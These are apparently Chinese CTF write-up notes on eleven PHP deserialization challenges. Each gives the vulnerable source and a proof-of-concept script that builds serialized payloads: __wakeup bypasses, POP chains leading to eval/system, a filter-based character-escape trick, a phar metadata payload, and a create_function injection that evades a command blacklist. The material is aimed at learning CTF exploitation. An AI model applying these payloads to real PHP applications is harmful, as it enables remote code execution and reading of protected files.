1.攻防世界 unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
poc
<?php
class xctf{
public $flag = '111';
}
$a=serialize(new xctf());
$b=base64_encode($a);
echo $a;
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
让输出报错:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2.攻防世界Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
poc
<?php
class Demo {
private $file = 'fl4g.php';
}
$a=serialize(new Demo());
$b=base64_encode($a);
echo $b;
?>
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
3.[SWPUCTF 2021 新生赛]ez_unserialize
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
poc
<?php
class wllm{
public $admin='admin';
public $passwd='ctf';
}
$a=serialize(new wllm());
$b=base64_encode($a);
echo $a;
?>
4[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
poc
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt='system';
public $lly='cat /flag';
}
$a=new lyh();
echo serialize($a);
?>
五。[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
poc
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X();
echo serialize($a);
?>
_wakeup()绕过
六。[UUCTF 2022 新生赛]ez_unser debug002
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
限制了test:3所以无法绕过wakeup()
发现
$this->b=$this->c;
那么就可以把命令写在c,然后代码会赋值给b,这是我们设置a恒等于b就能讲命令传入a
<?php
class test{
public $a;
public $b;
public $c='system("ls /");';
}
$test=new test();
$test ->a =&$test ->b;
echo serialize($test);
?>
<?php
class test{
public $a;
public $b;
public $c='system("cat /fffffffffflagafag");';
}
$test=new test();
$test ->a =&$test ->b;
echo serialize($test);
?>
七.[HNCTF 2022 WEEK2]easy_unser
<?php
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
根据代码,需要通过body的function __destruct中的highlight_file($this->want);去读取文件fl4g.php。倒推,首先让want=fl4g.php,但是want不能为fl4g.php并且不能为文件,这里就可以用上伪装协议去读取文件。todenothing不能等于want(这个好办)。want不能等于I can CHANGE you,上面——wakeup有赋值,要用到wakeup绕过。
这里 construct和类:unserializeorder都没不会用到就不管了
poc
<?php
class body{
private $want='php://filter/resource=f14g.php';
private $todonothing ='benben';
}
$a =new body();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22body%22%3A2%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A6%3A%22benben%22%3B%7D
然后手动把元素个数改一下
?ywant=O%3A4%3A"body"%3A3%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3Bs%3A17%3A"%00body%00todonothing"%3Bs%3A6%3A"benben"%3B}
八。[安洵杯 2019]easy_serialize_php Blu3Boy
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先通过f=phpinfo获取flag的文件
目标:通过file_get_contents显示d0g3_f1ag.php
倒推:$userinfo['img']=base64_encode('d0g3_f1ag.php')
$_SESSION['img']=base64_encode('d0g3_f1ag.php') (变量不可控)
$_SESSION['img']==base64_encode('guest_img.png')或sha1(base64_encode($_GET['img_path']))
$_SESSION['user']和$_SESSION['function']可通并进行了序列化和反序列化。(字符逃逸)
先看一下序列化构造
<?php
$_SESSION["user"] = 'X';
$_SESSION['function'] = 'Y ';
$_SESSION['img']="patch";
echo serialize($_SESSION);
?>
a:3:{s:4:"user";s:1:"X";s:8:"function";s:2:"Y ";s:3:"img";s:5:"patch";}
明显要元素个数一直为3,改变img的值,需要把原本的img那段吐出来。
这时候分析,如果构造逃逸,原本function要被user吃掉,原本img要被吐出来。那么为了维持元素个数为三,就要再添加两个元素。也就是出来添加新的img还要再添加一个。(有点绕,看代码吧)
<?php
//d0g3_f1ag.php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'fl1gfl1gfl1gfl1gfl1gfl1g';
$_SESSION['function'] = 'Y";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:5:"patch";}';
$_SESSION['img']="img_patch";
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
var_dump(unserialize($serialize_info));
?>
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"Y";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:5:"patch";}";s:3:"img";s:9:"img_patch";}array(3) {
["user"]=>
string(24) "";s:8:"function";s:62:"Y"
["img"]=>
string(20) "L2QwZzNfZmxsbGxsbGFn"
["a"]=>
string(5) "patch"
}
九.[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
pop思路
eval
NISA _invoke
Ilovetxw _toString
four_set
Ilovetxw _call
TianXiWei_wakeup
chekchek绕过SYSTEM
<?php
class NISA{
public $fun;
public $txw4ever='SYSTEM("tac /f*");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$ser=new TianXiWei();
$ser->ext=new Ilovetxw();
$ser->ext->huang=new four();
$ser->ext->huang->a=new Ilovetxw();
$ser->ext->huang->a->su=new NISA();
echo serialize($ser);
echo urlencode(serialize($ser));
十[SWPUCTF 2021 新生赛]babyunser
头要炸了。pop思路跟上题差不多但是里面加了可控参数。
这只分析class.php
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
利用的xx_call
执行命令
pop思路
xx_call $name=system $arg[0]=cat /flag
ff_get func=system $cmd=cat /flag
zz_write
zz_tostring method=write var=content
aa_destruct
跟上题一样写poc但是ff_content是私有变量,这只能用_construct()了
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func='system';
function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a =new aa();
$a->name=new zz();
$a->name->filename=new ff();
echo serialize($a);
$phar = new Phar("aiwin1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
playload
file=phar://upload/251261f15dceb80168305393c3780df5.txt&method=write&var=content&cmd=cat /flag
十一。bugku-unserialize-Noteasy
要通过参数构造一个内部方法。越来越离谱了。
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
没有new 所以construct直接不看,
destruct
$a("", $b);
当
$a = "create_function";
$b = ";};要执行的命令/*;";
则 `$a("", $b);` 相当于
create_function("", ";};要执行的命令;/*");
// 相当于创建了一个这样的函数
function ()
{
}
要执行的命令;
/*;}
顺带一提,如果$b在前面($a($b, "");)同样可以利用此方法
$a = "create_function";
$b = "){}要执行的命令;/*";
即create_function("){}要执行的命令;/*", "");
<?php
class Noteasy
{
private $a="create_function";
private $b= ';};system("nl *");/*';
}
$a = new Noteasy();
echo serialize($a);
echo urlencode(serialize($a));